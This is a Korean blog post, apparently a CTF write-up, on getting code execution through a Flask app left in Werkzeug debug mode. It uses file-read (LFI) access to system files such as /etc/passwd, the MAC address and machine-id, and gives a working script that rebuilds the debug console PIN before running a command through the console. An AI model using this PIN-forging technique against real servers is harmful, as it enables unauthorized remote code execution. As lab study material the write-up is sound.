Werkzeug 는 Flask가 많이 사용하는 WSGI웹 애플리케이션 라이브러리이다. 디버깅시 사용하면 편하지만 RCE취약점으로 연결될수있다는 점이있다.
app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)
이런 문제의 특징은 debug기능이 true로 되어있다는것이다.(true로 할시 pin번호만 입력하면 interactive interpreter형식의 python을 사용할수 있게 된다)
콘솔에 접근하는 방법은
url:{port}/console 에 접근하거나
에러페이지에서 에러에 커서를 대면 우측의 콘솔버튼으로 접근이 가능하다.
하지만 pin번호를 알아야 하기에 이핀번호를 어케 알아내느냐?
보통 LFI취약점으로 파일을 읽을 수 있게된다.
다음 에러 페이지를 자세히 보면 python3.8버전인 것을 알수있다.
이를 기반으로 pin번호를 만드는 부분을 읽으면 되는것
/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py
/usr/local/lib/python2.7/dist-packages/werkzeug/debug/__init__.py
다음 경로를 보면 된다. python버전마다 경로가 살짝 다를수있으니 찾아보는게 좋다.
# -*- coding: utf-8 -*-
"""
werkzeug.debug
~~~~~~~~~~~~~~
WSGI application traceback debugger.
:copyright: 2007 Pallets
:license: BSD-3-Clause
"""
import getpass
import hashlib
import json
import mimetypes
import os
import pkgutil
import re
import sys
import time
import uuid
from itertools import chain
from os.path import basename
from os.path import join
from .._compat import text_type
from .._internal import _log
from ..http import parse_cookie
from ..security import gen_salt
from ..wrappers import BaseRequest as Request
from ..wrappers import BaseResponse as Response
from .console import Console
from .tbtools import get_current_traceback
from .tbtools import render_console_html
# A week
PIN_TIME = 60 * 60 * 24 * 7
def hash_pin(pin):
if isinstance(pin, text_type):
pin = pin.encode("utf-8", "replace")
return hashlib.md5(pin + b"shittysalt").hexdigest()[:12]
_machine_id = None
def get_machine_id():
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate():
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" =
<([^>
]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows, use winreg to get the machine guid.
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
wr = None
if wr is not None:
try:
with wr.OpenKey(
wr.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
wr.KEY_READ | wr.KEY_WOW64_64KEY,
) as rk:
guid, guid_type = wr.QueryValueEx(rk, "MachineGuid")
if guid_type == wr.REG_SZ:
return guid.encode("utf-8")
return guid
except WindowsError:
pass
_machine_id = _generate()
return _machine_id
class _ConsoleFrame(object):
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""
def __init__(self, namespace):
self.console = Console(namespace)
self.id = 0
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", app.__class__.__module__)
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
열어 보면 다음처럼 있는데
def get_pin_and_cookie_name(app):
요부분을 뽑아서 키를 생성해주면된다.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
키생성에 필요한 인자값들은 다음처럼 되어있고 이것을 채워주기만 하면 된다.
각각설명해보면
probably_public_bits는
username: app.py를 실행한 사용자 이름
modname: 그냥 flask.app
getattr(app, '__name__', getattr (app .__ class__, '__name__')): 그냥 Flask
getattr(mod, '__file__', None): flask 폴더에 app.py의 절대 경로
uuid.getnode(): 해당 pc의 MAC 주소
get_machine_id(): 해당 pc에서 '/etc/machine-id' 파일의 값이나 '/proc/sys/kernel/random/boot_i' 파일의 값이다.
username은 /etc/passwd나 /etc/group에서 유추가능하고
두번째값은 flask.app고정
세번째값은 Flask라 생각하면된다.
네번째값은 직접 찾아봐도 된다. ( getattr(mod, '__file__', None) 함수를 통해 확인 가능)
private_bit의 첫번쨰값은 mac주소로
/proc/net/arp->인터페이스 이름확인 여기선 eth0
/sys/class/net/eth0/address 로 맥주소값을 구할수있고
https://www.vultr.com/resources/mac-converter/?mac_address=aa:fc:00:00:28:01
다음 링크에서 맥주소를 int값으로 변환가능하다.
그다음은 machine-id값으로 '/etc/machine-id' 파일의 값이나 '/proc/sys/kernel/random/boot_i'에서 구할수있다.
물론 이문제에서는 machine-id부분을 변형하여(__init.py__의 def get_machine_id()부분 참고) '/'로 split한 cgroup값을 machine-id에 붙여준다음 pin을 만들게 된다.
.
import hashlib
from itertools import chain
probably_public_bits = [
'dreamhack',
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py',
]
private_bits = [
'187999308490753', # MAC주소를 int형으로 변환한 값,
'c31eea55a29431535ff01de94bdcf5cf'+'libpod-336e6ae76bf2ef342760f676c2a6bc1bc0d2919ff5f84d6c69395e8f7847339e' # get_machine_id()+cgroup split
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
num=None
rv=None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
다음 정보를 기반으로 pin generate코드를 작성했다. 실행하면 핀번호를 얻고 pin입력창에 입력해주면된다.
입력해주면 interpreter python을 사용할수있게되고
>>> stream=os.popen('/flag')
>>> output=stream.read()
>>> print(output)
다음처럼 os.popen을통해 명령어를 수행하고 리턴값을 출력하게된다.
더많은 방법은 다음링크 참조
https://codechacha.com/ko/python-run-shell-script/
'웹' 카테고리의 다른 글
mysql error based injection 잘 되어 있는 곳 (2) | 2022.06.14 |
---|---|
한글 blind sqlinjection (0) | 2022.06.13 |
Blind OS Command Injection (1) | 2022.05.27 |
SSRF localhost, 127.0.0.1 bypass (2) | 2022.05.25 |
MongoDB_Injection (0) | 2022.05.24 |